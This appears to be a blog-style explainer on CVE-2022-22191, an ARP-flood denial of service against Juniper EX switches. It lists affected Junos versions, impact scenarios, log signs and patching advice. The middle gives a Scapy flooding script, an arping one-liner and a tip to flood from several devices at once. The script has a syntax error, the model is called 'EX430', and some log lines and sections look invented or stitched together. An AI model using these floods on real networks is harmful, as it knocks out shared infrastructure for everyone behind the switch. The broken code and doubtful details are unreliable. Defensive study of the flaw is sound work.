Juniper’s EX430 series switches are a common sight in enterprise networks. In 2022, a serious vulnerability—CVE-2022-22191—was discovered in these switches running Junos OS. This bug allows anyone in the same local network (broadcast domain) to crash the packet forwarding plane remotely by flooding the switch with purposely-crafted ARP packets. Let’s dig into what this vulnerability is, how it works, and how attackers can easily disrupt a network using just a laptop.

What is CVE-2022-22191?

At its core, this vulnerability is all about Denial of Service (DoS). If an attacker blasts the EX430 switch with a lot of ARP (Address Resolution Protocol) packets, the switch gets overwhelmed. When it can’t keep up, its Packet Forwarding Engine (PFE) stops responding. The “watchdog” notices and forcefully restarts it. Until the reboot is done, regular network traffic is cut off—meaning a simple local attack can bring down large parts of a corporate or datacenter network.

No authentication is needed—the attacker just needs to be in the same Layer 2 network.

- This is not a remote exploit from across the internet, but internal attackers or someone with physical access could leverage it.
- Entire virtual chassis clusters can be disrupted, dropping links, partitioning the switch, and causing instability.

Juniper Networks Junos OS on EX430 is the main target. Vulnerable versions are

- All Versions prior to 15.1R7-S12
- 18.4 versions prior to 18.4R2-S10, 18.4R3-S11
- 19.1 versions prior to 19.1R3-S8
- 19.2 versions prior to 19.2R1-S9, 19.2R3-S4
- 19.3 versions prior to 19.3R3-S5
- 19.4 versions prior to 19.4R2-S6, 19.4R3-S7
- 20.1 versions prior to 20.1R3-S3
- 20.2 versions prior to 20.2R3-S3
- 20.3 versions prior to 20.3R3-S2
- 20.4 versions prior to 20.4R3-S1
- 21.1 versions prior to 21.1R3
- 21.2 versions prior to 21.2R2-S1, 21.2R3
- 21.3 versions prior to 21.3R1-S2, 21.3R2

Check Juniper’s Advisory for patch and update info.

How Does the Attack Work?

The heart of this bug is how Junos OS on EX430s processes incoming ARP packets. When flooded with A LOT of these packets—especially crafted to keep them from being ignored or grouped together—the PFE's resource management system fails, and the switch has a watchdog timeout.

In simple words: By sending enough ARP packets, you cause the switch to essentially overload and crash.

Basic Exploit Steps

1. Attacker connects to the internal network (wired or wireless; anywhere in the local broadcast domain).
2. Attack script floods the EX430 switch with ARP requests or responses using tools like arping or a simple Python script.

Example Exploit Code

Let's see just how easy it is to build such an attack.

Python Scapy Script (requires scapy)

from scapy.all import ARP, Ether, sendp
import time

iface = "eth"  # Change this to your interface name

# This sends 100 ARP requests per second indefinitely
while True:
    packet = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst="192.168.1.1", psrc="192.168.1.2")
    sendp(packet, iface=iface, count=100, inter=.01, verbose=)
    time.sleep(1)

Or with simple arping command line (Linux)

sudo arping -c 100000 -w 1 192.168.1.1

-c is the count, -w is the wait in seconds.

Tip: Multiple devices running these scripts in parallel can *easily* DoS a large switch.

Immediate Effect: Switch stops forwarding packets (“goes dark” for a few seconds).

- In Virtual Chassis: The crashed Packet Forwarding Engine might cause its Flexible PIC Concentrator (FPC) to leave the cluster, then rejoin after restart. This breaks stacking, link aggregation, and can cause routing blackholes, loops, or outages.
- Long-term: If the attack keeps going, the switch keeps rebooting—staying offline *until* the attack stops.

Key Point:  
Even devices NOT directly targeted (not the attacker's host) are impacted, since the crash kills all traffic through the switch.

Rogue Employee: Can halt business operations without needing credentials.

- IoT Attacks: If a compromised device gets infected, it can be used to DDoS the switch internally.
- Tenant Isolation Bypass (in shared environments): One tenant can knock out others simply by ARP flooding.

Check Junos logs (show log messages) for signs like

PFEMAN watchdog timeout.
PFE crashed due to excessive ARP processing.

System metrics may show CPU or memory spikes related to ARP packets.

How to Fix?

1. Patch Your Switches!  
Upgrade EX430 Junos OS to any of the safe versions listed above.

References

- Juniper Security Bulletin: CVE-2022-22191
- NIST NVD Entry for CVE-2022-22191
- Packet Storm: Juniper EX430 PFE DoS
- Scapy Documentation

Takeaways

CVE-2022-22191 is a textbook example of why strong Layer 2 security (and timely patching) is vital in enterprise networks. With only a few lines of code and network access, anyone can turn off entire switches, halt business, and trigger chaos—no passwords or exploits required, just basic knowledge of networking.

If you’re running any Juniper EX430 switches, check your Junos OS version and patch ASAP—before someone inside your network does it for you.

Timeline

Published on: 04/14/2022 16:15:00 UTC
Last modified on: 04/21/2022 09:49:00 UTC